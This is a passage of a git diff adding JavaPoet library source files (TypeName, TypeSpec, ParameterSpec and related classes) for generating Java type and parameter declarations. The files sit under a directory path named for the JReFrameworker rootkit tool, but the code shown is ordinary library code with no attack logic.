WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package com.squareup.javapoet; + +import static com.squareup.javapoet.Util.checkArgument; +import static com.squareup.javapoet.Util.checkNotNull; + +import java.io.IOException; +import java.io.StringWriter; +import java.lang.reflect.Type; +import java.util.ArrayList; +import java.util.Collections; +import java.util.List; +import java.util.Set; + +import javax.lang.model.SourceVersion; +import javax.lang.model.element.ExecutableElement; +import javax.lang.model.element.Modifier; +import javax.lang.model.element.VariableElement; + +/** A generated parameter declaration. */ +public final class ParameterSpec { + public final String name; + public final List annotations; + public final Set modifiers; + public final TypeName type; + + private ParameterSpec(Builder builder) { + this.name = checkNotNull(builder.name, "name == null"); + this.annotations = Util.immutableList(builder.annotations); + this.modifiers = Util.immutableSet(builder.modifiers); + this.type = checkNotNull(builder.type, "type == null"); + } + + public boolean hasModifier(Modifier modifier) { + return modifiers.contains(modifier); + } + + void emit(CodeWriter codeWriter, boolean varargs) throws IOException { + codeWriter.emitAnnotations(annotations, true); + codeWriter.emitModifiers(modifiers); + if (varargs) { + codeWriter.emit("$T... $L", TypeName.arrayComponent(type), name); + } else { + codeWriter.emit("$T $L", type, name); + } + } + + @Override public boolean equals(Object o) { + if (this == o) return true; + if (o == null) return false; + if (getClass() != o.getClass()) return false; + return toString().equals(o.toString()); + } + + @Override public int hashCode() { + return toString().hashCode(); + } + + @Override public String toString() { + StringWriter out = new StringWriter(); + try { + CodeWriter codeWriter = new CodeWriter(out); + emit(codeWriter, false); + return out.toString(); + } catch (IOException e) { + throw new AssertionError(); + } + } + + public static ParameterSpec get(VariableElement element) { + TypeName type = TypeName.get(element.asType()); + String name = element.getSimpleName().toString(); + return ParameterSpec.builder(type, name) + .addModifiers(element.getModifiers()) + .build(); + } + + static List parametersOf(ExecutableElement method) { + List result = new ArrayList<>(); + for (VariableElement parameter : method.getParameters()) { + result.add(ParameterSpec.get(parameter)); + } + return result; + } + + public static Builder builder(TypeName type, String name, Modifier... modifiers) { + checkNotNull(type, "type == null"); + checkArgument(SourceVersion.isName(name), "not a valid name: %s", name); + return new Builder(type, name) + .addModifiers(modifiers); + } + + public static Builder builder(Type type, String name, Modifier... modifiers) { + return builder(TypeName.get(type), name, modifiers); + } + + public Builder toBuilder() { + return toBuilder(type, name); + } + + Builder toBuilder(TypeName type, String name) { + Builder builder = new Builder(type, name); + builder.annotations.addAll(annotations); + builder.modifiers.addAll(modifiers); + return builder; + } + + public static final class Builder { + private final TypeName type; + private final String name; + + private final List annotations = new ArrayList<>(); + private final List modifiers = new ArrayList<>(); + + private Builder(TypeName type, String name) { + this.type = type; + this.name = name; + } + + public Builder addAnnotations(Iterable annotationSpecs) { + checkArgument(annotationSpecs != null, "annotationSpecs == null"); + for (AnnotationSpec annotationSpec : annotationSpecs) { + this.annotations.add(annotationSpec); + } + return this; + } + + public Builder addAnnotation(AnnotationSpec annotationSpec) { + this.annotations.add(annotationSpec); + return this; + } + + public Builder addAnnotation(ClassName annotation) { + this.annotations.add(AnnotationSpec.builder(annotation).build()); + return this; + } + + public Builder addAnnotation(Class annotation) { + return addAnnotation(ClassName.get(annotation)); + } + + public Builder addModifiers(Modifier... modifiers) { + Collections.addAll(this.modifiers, modifiers); + return this; + } + + public Builder addModifiers(Iterable modifiers) { + checkNotNull(modifiers, "modifiers == null"); + for (Modifier modifier : modifiers) { + this.modifiers.add(modifier); + } + return this; + } + + public ParameterSpec build() { + return new ParameterSpec(this); + } + } +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.squareup.javapoet.core/src/com/squareup/javapoet/ParameterizedTypeName.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.squareup.javapoet.core/src/com/squareup/javapoet/ParameterizedTypeName.java new file mode 100644 index 0000000..2e952cd --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.squareup.javapoet.core/src/com/squareup/javapoet/ParameterizedTypeName.java @@ -0,0 +1,135 @@ +/* + * Copyright (C) 2015 Square, Inc. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package com.squareup.javapoet; + +import static com.squareup.javapoet.Util.checkArgument; +import static com.squareup.javapoet.Util.checkNotNull; + +import java.io.IOException; +import java.lang.reflect.Modifier; +import java.lang.reflect.ParameterizedType; +import java.lang.reflect.Type; +import java.util.ArrayList; +import java.util.Arrays; +import java.util.LinkedHashMap; +import java.util.List; +import java.util.Map; + +public final class ParameterizedTypeName extends TypeName { + private final ParameterizedTypeName enclosingType; + public final ClassName rawType; + public final List typeArguments; + + ParameterizedTypeName(ParameterizedTypeName enclosingType, ClassName rawType, + List typeArguments) { + this(enclosingType, rawType, typeArguments, new ArrayList()); + } + + private ParameterizedTypeName(ParameterizedTypeName enclosingType, ClassName rawType, + List typeArguments, List annotations) { + super(annotations); + this.rawType = checkNotNull(rawType, "rawType == null"); + this.enclosingType = enclosingType; + this.typeArguments = Util.immutableList(typeArguments); + + checkArgument(!this.typeArguments.isEmpty() || enclosingType != null, + "no type arguments: %s", rawType); + for (TypeName typeArgument : this.typeArguments) { + checkArgument(!typeArgument.isPrimitive() && typeArgument != VOID, + "invalid type parameter: %s", typeArgument); + } + } + + @Override public ParameterizedTypeName annotated(List annotations) { + return new ParameterizedTypeName( + enclosingType, rawType, typeArguments, concatAnnotations(annotations)); + } + + @Override public TypeName withoutAnnotations() { + return new ParameterizedTypeName( + enclosingType, rawType, typeArguments, new ArrayList()); + } + + @Override CodeWriter emit(CodeWriter out) throws IOException { + if (enclosingType != null) { + enclosingType.emitAnnotations(out); + enclosingType.emit(out); + out.emit("." + rawType.simpleName()); + } else { + rawType.emitAnnotations(out); + rawType.emit(out); + } + if (!typeArguments.isEmpty()) { + out.emitAndIndent("<"); + boolean firstParameter = true; + for (TypeName parameter : typeArguments) { + if (!firstParameter) out.emitAndIndent(", "); + parameter.emitAnnotations(out); + parameter.emit(out); + firstParameter = false; + } + out.emitAndIndent(">"); + } + return out; + } + + /** + * Returns a new {@link ParameterizedTypeName} instance for the specified {@code name} as nested + * inside this class. + */ + public ParameterizedTypeName nestedClass(String name) { + checkNotNull(name, "name == null"); + return new ParameterizedTypeName(this, rawType.nestedClass(name), new ArrayList(), + new ArrayList()); + } + + /** + * Returns a new {@link ParameterizedTypeName} instance for the specified {@code name} as nested + * inside this class, with the specified {@code typeArguments}. + */ + public ParameterizedTypeName nestedClass(String name, List typeArguments) { + checkNotNull(name, "name == null"); + return new ParameterizedTypeName(this, rawType.nestedClass(name), typeArguments, + new ArrayList()); + } + + /** Returns a parameterized type, applying {@code typeArguments} to {@code rawType}. */ + public static ParameterizedTypeName get(ClassName rawType, TypeName... typeArguments) { + return new ParameterizedTypeName(null, rawType, Arrays.asList(typeArguments)); + } + + /** Returns a parameterized type, applying {@code typeArguments} to {@code rawType}. */ + public static ParameterizedTypeName get(Class rawType, Type... typeArguments) { + return new ParameterizedTypeName(null, ClassName.get(rawType), list(typeArguments)); + } + + /** Returns a parameterized type equivalent to {@code type}. */ + public static ParameterizedTypeName get(ParameterizedType type) { + return get(type, new LinkedHashMap()); + } + + /** Returns a parameterized type equivalent to {@code type}. */ + static ParameterizedTypeName get(ParameterizedType type, Map map) { + ClassName rawType = ClassName.get((Class) type.getRawType()); + ParameterizedType ownerType = (type.getOwnerType() instanceof ParameterizedType) + && !Modifier.isStatic(((Class) type.getRawType()).getModifiers()) + ? (ParameterizedType) type.getOwnerType() : null; + List typeArguments = TypeName.list(type.getActualTypeArguments(), map); + return (ownerType != null) + ? get(ownerType, map).nestedClass(rawType.simpleName(), typeArguments) + : new ParameterizedTypeName(null, rawType, typeArguments); + } +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.squareup.javapoet.core/src/com/squareup/javapoet/Test.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.squareup.javapoet.core/src/com/squareup/javapoet/Test.java new file mode 100644 index 0000000..a759dd7 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.squareup.javapoet.core/src/com/squareup/javapoet/Test.java @@ -0,0 +1,5 @@ +package com.squareup.javapoet; + +public class Test { + +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.squareup.javapoet.core/src/com/squareup/javapoet/TypeName.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.squareup.javapoet.core/src/com/squareup/javapoet/TypeName.java new file mode 100644 index 0000000..c469ce4 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.squareup.javapoet.core/src/com/squareup/javapoet/TypeName.java @@ -0,0 +1,373 @@ +/* + * Copyright (C) 2015 Square, Inc. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package com.squareup.javapoet; + +import java.io.IOException; +import java.lang.reflect.GenericArrayType; +import java.lang.reflect.ParameterizedType; +import java.lang.reflect.Type; +import java.lang.reflect.TypeVariable; +import java.lang.reflect.WildcardType; +import java.util.ArrayList; +import java.util.Arrays; +import java.util.LinkedHashMap; +import java.util.List; +import java.util.Map; + +import javax.lang.model.element.Modifier; +import javax.lang.model.element.TypeElement; +import javax.lang.model.element.TypeParameterElement; +import javax.lang.model.type.ArrayType; +import javax.lang.model.type.DeclaredType; +import javax.lang.model.type.ErrorType; +import javax.lang.model.type.NoType; +import javax.lang.model.type.PrimitiveType; +import javax.lang.model.type.TypeKind; +import javax.lang.model.type.TypeMirror; +import javax.lang.model.util.SimpleTypeVisitor7; + +/** + * Any type in Java's type system, plus {@code void}. This class is an identifier for primitive + * types like {@code int} and raw reference types like {@code String} and {@code List}. It also + * identifies composite types like {@code char[]} and {@code Set}. + * + *

Type names are dumb identifiers only and do not model the values they name. For example, the + * type name for {@code java.lang.List} doesn't know about the {@code size()} method, the fact that + * lists are collections, or even that it accepts a single type parameter. + * + *

Instances of this class are immutable value objects that implement {@code equals()} and {@code + * hashCode()} properly. + * + *

Referencing existing types

+ * + *

Primitives and void are constants that you can reference directly: see {@link #INT}, {@link + * #DOUBLE}, and {@link #VOID}. + * + *

In an annotation processor you can get a type name instance for a type mirror by calling + * {@link #get(TypeMirror)}. In reflection code, you can use {@link #get(Type)}. + * + *

Defining new types

+ * + *

Create new reference types like {@code com.example.HelloWorld} with {@link + * ClassName#get(String, String, String...)}. To build composite types like {@code char[]} and + * {@code Set}, use the factory methods on {@link ArrayTypeName}, {@link + * ParameterizedTypeName}, {@link TypeVariableName}, and {@link WildcardTypeName}. + */ +public class TypeName { + public static final TypeName VOID = new TypeName("void"); + public static final TypeName BOOLEAN = new TypeName("boolean"); + public static final TypeName BYTE = new TypeName("byte"); + public static final TypeName SHORT = new TypeName("short"); + public static final TypeName INT = new TypeName("int"); + public static final TypeName LONG = new TypeName("long"); + public static final TypeName CHAR = new TypeName("char"); + public static final TypeName FLOAT = new TypeName("float"); + public static final TypeName DOUBLE = new TypeName("double"); + public static final ClassName OBJECT = ClassName.get("java.lang", "Object"); + + private static final ClassName BOXED_VOID = ClassName.get("java.lang", "Void"); + private static final ClassName BOXED_BOOLEAN = ClassName.get("java.lang", "Boolean"); + private static final ClassName BOXED_BYTE = ClassName.get("java.lang", "Byte"); + private static final ClassName BOXED_SHORT = ClassName.get("java.lang", "Short"); + private static final ClassName BOXED_INT = ClassName.get("java.lang", "Integer"); + private static final ClassName BOXED_LONG = ClassName.get("java.lang", "Long"); + private static final ClassName BOXED_CHAR = ClassName.get("java.lang", "Character"); + private static final ClassName BOXED_FLOAT = ClassName.get("java.lang", "Float"); + private static final ClassName BOXED_DOUBLE = ClassName.get("java.lang", "Double"); + + /** The name of this type if it is a keyword, or null. */ + private final String keyword; + public final List annotations; + + /** Lazily-initialized toString of this type name. */ + private String cachedString; + + private TypeName(String keyword) { + this(keyword, new ArrayList()); + } + + private TypeName(String keyword, List annotations) { + this.keyword = keyword; + this.annotations = Util.immutableList(annotations); + } + + // Package-private constructor to prevent third-party subclasses. + TypeName(List annotations) { + this(null, annotations); + } + + public final TypeName annotated(AnnotationSpec... annotations) { + return annotated(Arrays.asList(annotations)); + } + + public TypeName annotated(List annotations) { + Util.checkNotNull(annotations, "annotations == null"); + return new TypeName(keyword, concatAnnotations(annotations)); + } + + public TypeName withoutAnnotations() { + return new TypeName(keyword); + } + + protected final List concatAnnotations(List annotations) { + List allAnnotations = new ArrayList<>(this.annotations); + allAnnotations.addAll(annotations); + return allAnnotations; + } + + public boolean isAnnotated() { + return !annotations.isEmpty(); + } + + /** + * Returns true if this is a primitive type like {@code int}. Returns false for all other types + * types including boxed primitives and {@code void}. + */ + public boolean isPrimitive() { + return keyword != null && this != VOID; + } + + /** + * Returns true if this is a boxed primitive type like {@code Integer}. Returns false for all + * other types types including unboxed primitives and {@code java.lang.Void}. + */ + public boolean isBoxedPrimitive() { + return this.equals(BOXED_BOOLEAN) + || this.equals(BOXED_BYTE) + || this.equals(BOXED_SHORT) + || this.equals(BOXED_INT) + || this.equals(BOXED_LONG) + || this.equals(BOXED_CHAR) + || this.equals(BOXED_FLOAT) + || this.equals(BOXED_DOUBLE); + } + + /** + * Returns a boxed type if this is a primitive type (like {@code Integer} for {@code int}) or + * {@code void}. Returns this type if boxing doesn't apply. + */ + public TypeName box() { + if (keyword == null) return this; // Doesn't need boxing. + if (this == VOID) return BOXED_VOID; + if (this == BOOLEAN) return BOXED_BOOLEAN; + if (this == BYTE) return BOXED_BYTE; + if (this == SHORT) return BOXED_SHORT; + if (this == INT) return BOXED_INT; + if (this == LONG) return BOXED_LONG; + if (this == CHAR) return BOXED_CHAR; + if (this == FLOAT) return BOXED_FLOAT; + if (this == DOUBLE) return BOXED_DOUBLE; + throw new AssertionError(keyword); + } + + /** + * Returns an unboxed type if this is a boxed primitive type (like {@code int} for {@code + * Integer}) or {@code Void}. Returns this type if it is already unboxed. + * + * @throws UnsupportedOperationException if this type isn't eligible for unboxing. + */ + public TypeName unbox() { + if (keyword != null) return this; // Already unboxed. + if (this.equals(BOXED_VOID)) return VOID; + if (this.equals(BOXED_BOOLEAN)) return BOOLEAN; + if (this.equals(BOXED_BYTE)) return BYTE; + if (this.equals(BOXED_SHORT)) return SHORT; + if (this.equals(BOXED_INT)) return INT; + if (this.equals(BOXED_LONG)) return LONG; + if (this.equals(BOXED_CHAR)) return CHAR; + if (this.equals(BOXED_FLOAT)) return FLOAT; + if (this.equals(BOXED_DOUBLE)) return DOUBLE; + throw new UnsupportedOperationException("cannot unbox " + this); + } + + @Override public final boolean equals(Object o) { + if (this == o) return true; + if (o == null) return false; + if (getClass() != o.getClass()) return false; + return toString().equals(o.toString()); + } + + @Override public final int hashCode() { + return toString().hashCode(); + } + + @Override public final String toString() { + String result = cachedString; + if (result == null) { + try { + StringBuilder resultBuilder = new StringBuilder(); + CodeWriter codeWriter = new CodeWriter(resultBuilder); + emitAnnotations(codeWriter); + emit(codeWriter); + result = resultBuilder.toString(); + cachedString = result; + } catch (IOException e) { + throw new AssertionError(); + } + } + return result; + } + + CodeWriter emit(CodeWriter out) throws IOException { + if (keyword == null) throw new AssertionError(); + return out.emitAndIndent(keyword); + } + + CodeWriter emitAnnotations(CodeWriter out) throws IOException { + for (AnnotationSpec annotation : annotations) { + annotation.emit(out, true); + out.emit(" "); + } + return out; + } + + /** Returns a type name equivalent to {@code mirror}. */ + public static TypeName get(TypeMirror mirror) { + return get(mirror, new LinkedHashMap()); + } + + static TypeName get(TypeMirror mirror, + final Map typeVariables) { + return mirror.accept(new SimpleTypeVisitor7() { + @Override public TypeName visitPrimitive(PrimitiveType t, Void p) { + switch (t.getKind()) { + case BOOLEAN: + return TypeName.BOOLEAN; + case BYTE: + return TypeName.BYTE; + case SHORT: + return TypeName.SHORT; + case INT: + return TypeName.INT; + case LONG: + return TypeName.LONG; + case CHAR: + return TypeName.CHAR; + case FLOAT: + return TypeName.FLOAT; + case DOUBLE: + return TypeName.DOUBLE; + default: + throw new AssertionError(); + } + } + + @Override public TypeName visitDeclared(DeclaredType t, Void p) { + ClassName rawType = ClassName.get((TypeElement) t.asElement()); + TypeMirror enclosingType = t.getEnclosingType(); + TypeName enclosing = + (enclosingType.getKind() != TypeKind.NONE) + && !t.asElement().getModifiers().contains(Modifier.STATIC) + ? enclosingType.accept(this, null) + : null; + if (t.getTypeArguments().isEmpty() && !(enclosing instanceof ParameterizedTypeName)) { + return rawType; + } + + List typeArgumentNames = new ArrayList<>(); + for (TypeMirror mirror : t.getTypeArguments()) { + typeArgumentNames.add(get(mirror, typeVariables)); + } + return enclosing instanceof ParameterizedTypeName + ? ((ParameterizedTypeName) enclosing).nestedClass( + rawType.simpleName(), typeArgumentNames) + : new ParameterizedTypeName(null, rawType, typeArgumentNames); + } + + @Override public TypeName visitError(ErrorType t, Void p) { + return visitDeclared(t, p); + } + + @Override public ArrayTypeName visitArray(ArrayType t, Void p) { + return ArrayTypeName.get(t, typeVariables); + } + + @Override public TypeName visitTypeVariable(javax.lang.model.type.TypeVariable t, Void p) { + return TypeVariableName.get(t, typeVariables); + } + + @Override public TypeName visitWildcard(javax.lang.model.type.WildcardType t, Void p) { + return WildcardTypeName.get(t, typeVariables); + } + + @Override public TypeName visitNoType(NoType t, Void p) { + if (t.getKind() == TypeKind.VOID) return TypeName.VOID; + return super.visitUnknown(t, p); + } + + @Override protected TypeName defaultAction(TypeMirror e, Void p) { + throw new IllegalArgumentException("Unexpected type mirror: " + e); + } + }, null); + } + + /** Returns a type name equivalent to {@code type}. */ + public static TypeName get(Type type) { + return get(type, new LinkedHashMap()); + } + + static TypeName get(Type type, Map map) { + if (type instanceof Class) { + Class classType = (Class) type; + if (type == void.class) return VOID; + if (type == boolean.class) return BOOLEAN; + if (type == byte.class) return BYTE; + if (type == short.class) return SHORT; + if (type == int.class) return INT; + if (type == long.class) return LONG; + if (type == char.class) return CHAR; + if (type == float.class) return FLOAT; + if (type == double.class) return DOUBLE; + if (classType.isArray()) return ArrayTypeName.of(get(classType.getComponentType(), map)); + return ClassName.get(classType); + + } else if (type instanceof ParameterizedType) { + return ParameterizedTypeName.get((ParameterizedType) type, map); + + } else if (type instanceof WildcardType) { + return WildcardTypeName.get((WildcardType) type, map); + + } else if (type instanceof TypeVariable) { + return TypeVariableName.get((TypeVariable) type, map); + + } else if (type instanceof GenericArrayType) { + return ArrayTypeName.get((GenericArrayType) type, map); + + } else { + throw new IllegalArgumentException("unexpected type: " + type); + } + } + + /** Converts an array of types to a list of type names. */ + static List list(Type[] types) { + return list(types, new LinkedHashMap()); + } + + static List list(Type[] types, Map map) { + List result = new ArrayList<>(types.length); + for (Type type : types) { + result.add(get(type, map)); + } + return result; + } + + /** Returns the array component of {@code type}, or null if {@code type} is not an array. */ + static TypeName arrayComponent(TypeName type) { + return type instanceof ArrayTypeName + ? ((ArrayTypeName) type).componentType + : null; + } +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.squareup.javapoet.core/src/com/squareup/javapoet/TypeSpec.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.squareup.javapoet.core/src/com/squareup/javapoet/TypeSpec.java new file mode 100644 index 0000000..f4af5c9 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.squareup.javapoet.core/src/com/squareup/javapoet/TypeSpec.java @@ -0,0 +1,598 @@ +/* + * Copyright (C) 2015 Square, Inc. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package com.squareup.javapoet; + +import static com.squareup.javapoet.Util.checkArgument; +import static com.squareup.javapoet.Util.checkNotNull; +import static com.squareup.javapoet.Util.checkState; +import static com.squareup.javapoet.Util.hasDefaultModifier; +import static com.squareup.javapoet.Util.requireExactlyOneOf; + +import java.io.IOException; +import java.io.StringWriter; +import java.lang.reflect.Type; +import java.util.ArrayList; +import java.util.Arrays; +import java.util.Collections; +import java.util.EnumSet; +import java.util.Iterator; +import java.util.LinkedHashMap; +import java.util.List; +import java.util.Locale; +import java.util.Map; +import java.util.Set; + +import javax.lang.model.SourceVersion; +import javax.lang.model.element.Element; +import javax.lang.model.element.Modifier; + +/** A generated class, interface, or enum declaration. */ +public final class TypeSpec { + public final Kind kind; + public final String name; + public final CodeBlock anonymousTypeArguments; + public final CodeBlock javadoc; + public final List annotations; + public final Set modifiers; + public final List typeVariables; + public final TypeName superclass; + public final List superinterfaces; + public final Map enumConstants; + public final List fieldSpecs; + public final CodeBlock staticBlock; + public final CodeBlock initializerBlock; + public final List methodSpecs; + public final List typeSpecs; + public final List originatingElements; + + private TypeSpec(Builder builder) { + this.kind = builder.kind; + this.name = builder.name; + this.anonymousTypeArguments = builder.anonymousTypeArguments; + this.javadoc = builder.javadoc.build(); + this.annotations = Util.immutableList(builder.annotations); + this.modifiers = Util.immutableSet(builder.modifiers); + this.typeVariables = Util.immutableList(builder.typeVariables); + this.superclass = builder.superclass; + this.superinterfaces = Util.immutableList(builder.superinterfaces); + this.enumConstants = Util.immutableMap(builder.enumConstants); + this.fieldSpecs = Util.immutableList(builder.fieldSpecs); + this.staticBlock = builder.staticBlock.build(); + this.initializerBlock = builder.initializerBlock.build(); + this.methodSpecs = Util.immutableList(builder.methodSpecs); + this.typeSpecs = Util.immutableList(builder.typeSpecs); + + List originatingElementsMutable = new ArrayList<>(); + originatingElementsMutable.addAll(builder.originatingElements); + for (TypeSpec typeSpec : builder.typeSpecs) { + originatingElementsMutable.addAll(typeSpec.originatingElements); + } + this.originatingElements = Util.immutableList(originatingElementsMutable); + } + + public boolean hasModifier(Modifier modifier) { + return modifiers.contains(modifier); + } + + public static Builder classBuilder(String name) { + return new Builder(Kind.CLASS, checkNotNull(name, "name == null"), null); + } + + public static Builder classBuilder(ClassName className) { + return classBuilder(checkNotNull(className, "className == null").simpleName()); + } + + public static Builder interfaceBuilder(String name) { + return new Builder(Kind.INTERFACE, checkNotNull(name, "name == null"), null); + } + + public static Builder interfaceBuilder(ClassName className) { + return interfaceBuilder(checkNotNull(className, "className == null").simpleName()); + } + + public static Builder enumBuilder(String name) { + return new Builder(Kind.ENUM, checkNotNull(name, "name == null"), null); + } + + public static Builder enumBuilder(ClassName className) { + return enumBuilder(checkNotNull(className, "className == null").simpleName()); + } + + public static Builder anonymousClassBuilder(String typeArgumentsFormat, Object... args) { + return new Builder(Kind.CLASS, null, CodeBlock.builder() + .add(typeArgumentsFormat, args) + .build()); + } + + public static Builder annotationBuilder(String name) { + return new Builder(Kind.ANNOTATION, checkNotNull(name, "name == null"), null); + } + + public static Builder annotationBuilder(ClassName className) { + return annotationBuilder(checkNotNull(className, "className == null").simpleName()); + } + + public Builder toBuilder() { + Builder builder = new Builder(kind, name, anonymousTypeArguments); + builder.javadoc.add(javadoc); + builder.annotations.addAll(annotations); + builder.modifiers.addAll(modifiers); + builder.typeVariables.addAll(typeVariables); + builder.superclass = superclass; + builder.superinterfaces.addAll(superinterfaces); + builder.enumConstants.putAll(enumConstants); + builder.fieldSpecs.addAll(fieldSpecs); + builder.methodSpecs.addAll(methodSpecs); + builder.typeSpecs.addAll(typeSpecs); + builder.initializerBlock.add(initializerBlock); + builder.staticBlock.add(staticBlock); + return builder; + } + + void emit(CodeWriter codeWriter, String enumName, Set implicitModifiers) + throws IOException { + // Nested classes interrupt wrapped line indentation. Stash the current wrapping state and put + // it back afterwards when this type is complete. + int previousStatementLine = codeWriter.statementLine; + codeWriter.statementLine = -1; + + try { + if (enumName != null) { + codeWriter.emitJavadoc(javadoc); + codeWriter.emitAnnotations(annotations, false); + codeWriter.emit("$L", enumName); + if (!anonymousTypeArguments.formatParts.isEmpty()) { + codeWriter.emit("("); + codeWriter.emit(anonymousTypeArguments); + codeWriter.emit(")"); + } + if (fieldSpecs.isEmpty() && methodSpecs.isEmpty() && typeSpecs.isEmpty()) { + return; // Avoid unnecessary braces "{}". + } + codeWriter.emit(" {\n"); + } else if (anonymousTypeArguments != null) { + TypeName supertype = !superinterfaces.isEmpty() ? superinterfaces.get(0) : superclass; + codeWriter.emit("new $T(", supertype); + codeWriter.emit(anonymousTypeArguments); + codeWriter.emit(") {\n"); + } else { + codeWriter.emitJavadoc(javadoc); + codeWriter.emitAnnotations(annotations, false); + codeWriter.emitModifiers(modifiers, Util.union(implicitModifiers, kind.asMemberModifiers)); + if (kind == Kind.ANNOTATION) { + codeWriter.emit("$L $L", "@interface", name); + } else { + codeWriter.emit("$L $L", kind.name().toLowerCase(Locale.US), name); + } + codeWriter.emitTypeVariables(typeVariables); + + List extendsTypes; + List implementsTypes; + if (kind == Kind.INTERFACE) { + extendsTypes = superinterfaces; + implementsTypes = Collections.emptyList(); + } else { + extendsTypes = superclass.equals(ClassName.OBJECT) + ? Collections.emptyList() + : Collections.singletonList(superclass); + implementsTypes = superinterfaces; + } + + if (!extendsTypes.isEmpty()) { + codeWriter.emit(" extends"); + boolean firstType = true; + for (TypeName type : extendsTypes) { + if (!firstType) codeWriter.emit(","); + codeWriter.emit(" $T", type); + firstType = false; + } + } + + if (!implementsTypes.isEmpty()) { + codeWriter.emit(" implements"); + boolean firstType = true; + for (TypeName type : implementsTypes) { + if (!firstType) codeWriter.emit(","); + codeWriter.emit(" $T", type); + firstType = false; + } + } + + codeWriter.emit(" {\n"); + } + + codeWriter.pushType(this); + codeWriter.indent(); + boolean firstMember = true; + for (Iterator> i = enumConstants.entrySet().iterator(); + i.hasNext(); ) { + Map.Entry enumConstant = i.next(); + if (!firstMember) codeWriter.emit("\n"); + enumConstant.getValue() + .emit(codeWriter, enumConstant.getKey(), Collections.emptySet()); + firstMember = false; + if (i.hasNext()) { + codeWriter.emit(",\n"); + } else if (!fieldSpecs.isEmpty() || !methodSpecs.isEmpty() || !typeSpecs.isEmpty()) { + codeWriter.emit(";\n"); + } else { + codeWriter.emit("\n"); + } + } + + // Static fields. + for (FieldSpec fieldSpec : fieldSpecs) { + if (!fieldSpec.hasModifier(Modifier.STATIC)) continue; + if (!firstMember) codeWriter.emit("\n"); + fieldSpec.emit(codeWriter, kind.implicitFieldModifiers); + firstMember = false; + } + + if (!staticBlock.isEmpty()) { + if (!firstMember) codeWriter.emit("\n"); + codeWriter.emit(staticBlock); + firstMember = false; + } + + // Non-static fields. + for (FieldSpec fieldSpec : fieldSpecs) { + if (fieldSpec.hasModifier(Modifier.STATIC)) continue; + if (!firstMember) codeWriter.emit("\n"); + fieldSpec.emit(codeWriter, kind.implicitFieldModifiers); + firstMember = false; + } + + // Initializer block. + if (!initializerBlock.isEmpty()) { + if (!firstMember) codeWriter.emit("\n"); + codeWriter.emit(initializerBlock); + firstMember = false; + } + + // Constructors. + for (MethodSpec methodSpec : methodSpecs) { + if (!methodSpec.isConstructor()) continue; + if (!firstMember) codeWriter.emit("\n"); + methodSpec.emit(codeWriter, name, kind.implicitMethodModifiers); + firstMember = false; + } + + // Methods (static and non-static). + for (MethodSpec methodSpec : methodSpecs) { + if (methodSpec.isConstructor()) continue; + if (!firstMember) codeWriter.emit("\n"); + methodSpec.emit(codeWriter, name, kind.implicitMethodModifiers); + firstMember = false; + } + + // Types. + for (TypeSpec typeSpec : typeSpecs) { + if (!firstMember) codeWriter.emit("\n"); + typeSpec.emit(codeWriter, null, kind.implicitTypeModifiers); + firstMember = false; + } + + codeWriter.unindent(); + codeWriter.popType(); + + codeWriter.emit("}"); + if (enumName == null && anonymousTypeArguments == null) { + codeWriter.emit("\n"); // If this type isn't also a value, include a trailing newline. + } + } finally { + codeWriter.statementLine = previousStatementLine; + } + } + + @Override public boolean equals(Object o) { + if (this == o) return true; + if (o == null) return false; + if (getClass() != o.getClass()) return false; + return toString().equals(o.toString()); + } + + @Override public int hashCode() { + return toString().hashCode(); + } + + @Override public String toString() { + StringWriter out = new StringWriter(); + try { + CodeWriter codeWriter = new CodeWriter(out); + emit(codeWriter, null, Collections.emptySet()); + return out.toString(); + } catch (IOException e) { + throw new AssertionError(); + } + } + + public enum Kind { + CLASS( + Collections.emptySet(), + Collections.emptySet(), + Collections.emptySet(), + Collections.emptySet()), + + INTERFACE( + Util.immutableSet(Arrays.asList(Modifier.PUBLIC, Modifier.STATIC, Modifier.FINAL)), + Util.immutableSet(Arrays.asList(Modifier.PUBLIC, Modifier.ABSTRACT)), + Util.immutableSet(Arrays.asList(Modifier.PUBLIC, Modifier.STATIC)), + Util.immutableSet(Arrays.asList(Modifier.STATIC))), + + ENUM( + Collections.emptySet(), + Collections.emptySet(), + Collections.emptySet(), + Collections.singleton(Modifier.STATIC)), + + ANNOTATION( + Util.immutableSet(Arrays.asList(Modifier.PUBLIC, Modifier.STATIC, Modifier.FINAL)), + Util.immutableSet(Arrays.asList(Modifier.PUBLIC, Modifier.ABSTRACT)), + Util.immutableSet(Arrays.asList(Modifier.PUBLIC, Modifier.STATIC)), + Util.immutableSet(Arrays.asList(Modifier.STATIC))); + + private final Set 